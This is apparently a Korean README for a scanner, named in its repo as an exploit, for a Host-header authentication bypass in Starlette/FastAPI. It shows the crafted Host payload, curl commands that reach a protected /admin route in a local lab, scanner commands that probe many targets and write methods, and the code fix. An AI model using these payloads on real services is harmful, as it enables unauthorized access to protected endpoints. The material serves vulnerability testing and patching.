
CVE-2026-48710 - Starlette/FastAPI의 Host-header 인증 우회 탐지 스캐너
Starlette / FastAPI의 BadHost 인증 우회 전용 스캐너 — 인증 미들웨어가 request.scope["path"] 대신 request.url.path를 읽어서, 조작된 Host 헤더로 허용된 경로를 밀수하여 인증을 우회할 수 있습니다.
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sees request.url.path == "/health" → allowed
# ASGI still routes to /admin → bypassed
영향받는 버전: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
수정된 버전: Starlette 0.46.2+
https://host/path) — 경로가 자동으로 추출되어 프로브로 사용됩니다.Host 및 X-Forwarded-Host 전달자, 두 가지 페이로드 전략 테스트--preset ai) 및 MCP (--preset mcp) 엔드포인트용 내장 프리셋--json, --csvbadhost_vuln_lab/)로컬 검증을 위한 두 개의 FastAPI 앱 제공:
| 앱 | URL | 인증 읽기 방식 |
|---|---|---|
| 취약 | http://127.0.0.1:8000 | request.url.path — 우회됨 |
| 수정됨 | http://127.0.0.1:8001 | request.scope["path"] — 안전 |
cd badhost_vuln_lab
docker compose up --build
또는 Docker 없이:
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
curl -i http://127.0.0.1:8000/admin # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — fixed
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help # Python 3.9+, no pip install needed
# 단일 전체 URL — 경로 자동 추출, 추가 플래그 불필요
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
# 여러 전체 URL
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
# 전체 URL에 추가 경로 추가
python badhost_openapi_scanner.py https://api.internal/checkout \
--protected POST:/api/checkout --protected GET:/api/cart
# 로컬 openapi.json에서 읽기 전용 스캔
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
# 쓰기 메서드 포함 (스테이징/권한 있는 경우에만)
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi ./openapi.json --openapi-methods all \
--unsafe-allow-write --openapi-body-mode invalid
# 대상에서 직접 OpenAPI 가져오기
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi http://api.internal:8000/openapi.json
# 여러 대상, CSV 출력
python badhost_openapi_scanner.py --targets-file targets.txt \
--openapi ./openapi.json --csv > results.csv
# AI/LLM + MCP 프리셋 경로 (OpenAPI 불필요)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all
--openapi-body-mode invalid는 쓰기 메서드에 대해{}를 전송합니다 — 엔드포인트를 실행하지 않고 인증 우회 후 FastAPI422를 트리거합니다.baseline=403 test=422결과는 여전히 조사할 가치가 있는 SUSPECT 발견입니다.
프로덕션에서는--openapi-body-mode minimal을 사용하지 마십시오 — 쓰기 엔드포인트를 실행할 수 있는 유효한 요청 본문을 생성합니다.
| 판정 | 의미 |
|---|---|
CONFIRMED | 기준 401/403 → 테스트 2xx. 취약. |
SUSPECT | 기준 401/403 → 테스트 404/405/422. 인증 게이트가 우회된 것으로 보임; 수동 확인 필요. FastAPI의 422는 특히 중요. |
REJECTED | 프록시가 우회 전에 잘못된 Host(400/421)를 거부 |
BLOCKED | 조작된 요청이 여전히 거부됨 |
OPEN | 인증 없이 이미 접근 가능 — 이 CVE에 해당하지 않음 |
출력에는 CONFIRMED와 SUSPECT만 표시됩니다. 종료 코드 2 = CONFIRMED, 1 = SUSPECT, 0 = 정상.
# 취약
if request.url.path.startswith("/public"):
...
# 수정됨
if request.scope["path"].startswith("/public"):
...
Starlette 0.46.2+ / **FastAPI 0.116.0+**로 업그레이드하세요.
승인된 테스트 전용입니다. 귀하가 소유하거나 테스트할 명시적 권한이 있는 시스템만 스캔하십시오.